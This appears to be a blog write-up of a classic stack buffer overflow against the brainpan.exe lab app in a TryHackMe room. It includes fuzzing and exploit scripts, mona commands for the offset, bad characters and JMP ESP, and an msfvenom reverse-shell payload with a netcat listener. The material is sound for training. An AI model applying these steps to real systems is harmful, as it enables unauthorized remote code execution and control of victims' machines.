Exploit Development: Classic Buffer Overflows

2 months ago 35


Today's write up we will be going over a classic buffer overflow, the basics, the fuzzing, exploit building and then finally the RCE. A buffer overflow occurs when a program or process attempts to write more data to a fixed-length block of memory, or buffer, than the buffer is allocated to hold. In simple terms, it means we put too much stuff into the input box.

I’ll be using the TryHackMe buffer overflow prep room as my work environment for this walk through which can be found here

The tools we are going to be using are:

Immunity DebuggerxFreeRDPPythonbrainpan.exe (vulnerable app)

First off we are going to connect to the environment with xFreeRDP by using the command

xfreerdp /u:admin /p:password /cert:ignore /v:<ip> /workarea

Now we want to make sure we set up the mona.py configuration. Start up Immunity Debugger and in the bottom write the command

!mona config -set workingfolder c:\mona\%p

Now we want to make our fuzzing script, we have to modify it slightly as the brainpan.exe file doesn’t require a prefix and also is running on a different port (9999).

#!/usr/bin/env python3

import socket, time, sys

ip = ""

port = 9999
timeout = 5
prefix = ""

string = prefix + "A" * 100

while True:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip, port))
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
string += 100 * "A"

Now we want to open the brainpan.exe file with immunity debugger and then you’ll see the screen below. Also, in the bottom right you’ll see it is in a paused state. To start this, we want to press the play button in the top section of immunity circled below

Now it should look something like this

Now go back into our terminal and we want to run the fuzzing script with python3 fuzz.py and once we do this we should get the following result

As you can see our program has crashed. Now where do we go from here? We now need to replicate this again and also create our foundations for our exploit. Copy the code below into a python file

import socket

ip = ""
port = 9999

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Could not connect.")

We now also want to use the command below to generate our first payload. This will help us begin to dissect the BoF. We want to make the sure that we add 400 bytes to what our initial crash buffer was. Our crash was at 600 so we need to do the following

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Now that we have this, we want to copy the bytes into the variable payload inside of our exploit script. We then want to close down immunity debugger and restart our brainpan.exe again and run python3 exploit.py

As you’ll see again our program has crashed which is perfect. Back in our little input box in immunity debugger we want to run the following command

!mona findmsp -distance 1000

We are looking for the line EIP contains normal pattern

Now we take note of the number 524 and want to go back to our exploit script. Here we want to make the payload variable empty, set the retn varaible to “BBBB” (This should return 42424242 in just a second) and the offset variable to 524

Now we want to close down immunity debugger again and restart our brainpan.exe program and run the exploit. We need to look in the registers in the top right of immunity where it should display 42424242 in the EIP register.

We now need to find bad characters. This is characters that basically will stop our payload later on working. First we need to create a bytearray with mona in immunity debugger. To do this we do the following command

!mona bytearray -b "\x00"

This is basically setting the null byte as a bad character. We also need to generate a string of bad characters that is identical to the one mona created. This can be done with python. Paste the following code into a python file

for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')

Now go back to the exploit script and add all of the bad characters to the payload variable and restart immunity and the application once again and finally run the exploit. The app should crash again.

We now need to find out which characters are bad, we do this with mona. We also need to take note of what offset/address is in our ESP register like below and replace <address> with it

!mona compare -f C:\mona\brainpan\bytearray.bin -a <address>

As we can see there is no bad characters

We now need to find a jump point. To do this, we need to do the following command

!mona jmp -r esp -cpb "\x00"

Important to note if you do this in a real world or against another program it could have bad characters. Make sure after -cpb you add them. It will be displayed under the “BadChars” section of the screenshot above. After running the command we get this out put

Our jump point is 0x311713f3 which you can also see hasn’t got any security controls in place by them all being False. Now we need to update our script with the retn variable now set to our offset. However, because we are dealing with little-endian we need to write the offset backwards, so it would look like this

We now need to generate our final shellcode with msfvenom to do this we are going to do the following command

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c

Add your IP to the LHOST and also change the LPORT to whatever you’d like. It’s also important to add the bad characters here too if there was/is any. This can be done after the -b flag.

We now need to add our shellcode into the exploit script, just like seen below.

Finally we need to set the padding variable to padding = "\x90" * 16 and then we have created our exploit. Only thing left to do is test it!

Now go back to our terminal and we need to restart the application over in the Windows machine. We also need to create a netcat listener so we can catch out reverse shell in the machine. To do this we are going to do

nc -nlvp 4444

If all has been done right, you should now see the following

We have a shell on the Windows machine!

Read Entire Article